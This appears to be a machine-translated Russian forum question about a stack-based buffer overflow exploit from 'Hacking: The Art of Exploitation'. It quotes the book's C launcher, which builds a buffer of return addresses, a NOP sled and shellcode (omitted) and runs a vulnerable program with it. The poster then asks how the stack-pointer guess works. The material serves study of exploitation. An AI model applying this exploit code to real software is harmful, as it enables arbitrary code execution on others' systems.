Это может быть связано с этим , но я не уверен, что они в одной лодке.
Итак, я перечитал Hacking: The Art of Exploitation, и у меня есть вопрос о некоторых частях кода C в книге, который мне не совсем понятен:
Давайте просто предположим, что мы вернулись примерно в 2000 год, и у нас на самом деле нет файлов cookie стека и ASLR (может быть, они есть, но они не реализованы или не получили широкого распространения) или любого другого типа защиты, который у нас есть сейчас. дней.
Он показывает нам этот фрагмент кода для использования простого переполнения на основе стека:
#include <stdlib.h>
char shellcode[] = "..." // omitted
unsigned long sp(void)
{ __asm__("movl %esp, %eax); }
int main(int argc, char *argv[]) {
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset = 0;
esp = sp();
ret = esp - offset;
// bunch of printfs here...
buffer = malloc(600);
ptr = buffer;
addr_ptr = (long *) ptr;
for(i = 0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }
for(i = 0; i < 200; i++)
{ buffer[i] = '\x90'; }
ptr = buffer + 200;
for(i = 0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }
buffer[600-1] = 0;
execl("./vuln", "vuln", buffer, 0);
free(buffer);
return 0;
}
Итак, что он хочет сделать, так это взять адрес ESP и перезаписать сохраненный EIP этим адресом, чтобы процессор перешел к своей NOP-цепочке в памяти и выполнил шелл-код в стеке.
Чего я не понимаю, так это того, как он может использовать это конкретное значение ESP, которое он получает от sp() в текущий момент времени, когда он его вызывает.
Насколько я понимаю, стек выглядит примерно так:
...
saved ebp <-- execl
saved eip
"./vuln"
"vuln"
buffer
0
*ptr <-- sp() returns this address?
*buffer
*addr_ptr
ret
esp
offset
i
saved ebp <-- main
saved eip
argc
argv
...
Поскольку он вызывает (я знаю, что это указатель на функцию, так что, думаю, это не совсем точная формулировка?) sp() так рано в эксплойте, разве это не должно дать ему неверный адрес ESP? Даже если на то пошло, я не понимаю, как он вообще может использовать эту технику здесь, потому что он никогда не получит ESP, который указывает на верхнюю часть буфера внутри его vuln программы.
Спасибо.